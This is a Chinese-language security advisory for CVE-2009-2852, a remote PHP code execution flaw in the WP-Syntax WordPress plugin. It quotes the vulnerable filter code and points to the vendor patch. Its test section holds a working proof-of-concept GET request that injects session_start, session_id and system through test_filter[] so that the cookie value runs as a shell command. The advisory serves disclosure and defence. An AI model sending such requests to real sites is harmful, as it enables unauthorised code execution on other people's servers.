WordPress WP-Syntax插件远程PHP代码执行漏洞
2009年9月20日星期日 | | |受影响系统:
WordPress WP-Syntax <= 0.9.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 36040
CVE(CAN) ID: CVE-2009-2852
WordPress是一款免费的论坛Blog系统。
WP-Syntax是wordpress使用的用于高亮显示代码的插件。该插件的wp-syntax/test/index.php模块没有正确地过滤对test_filter[]所传送的参数便在call_user_func_array()调用中使用:
function apply_filters($tag, $string)
{
global $test_filter;
if (!isset($test_filter[$tag])) return $string;
uksort($test_filter[$tag], "strnatcasecmp");
foreach ($test_filter[$tag] as $priority => $functions)
{
if (is_null($functions)) continue;
foreach($functions as $function)
{
$string = call_user_func_array($function, array($string));
}
}
return $string;
}
这允许远程攻击者通过提交恶意GET请求注入并执行PHP代码。成功攻击要求打开了register_globals。
<*来源:Inj3ct0r ([email protected])
链接:http://secunia.com/advisories/36304/
http://milw0rm.com/exploits/9431
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close
建议:
--------------------------------------------------------------------------------
厂商补丁:
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://wordpress.org/development/2009/08/2-8-4-security-release/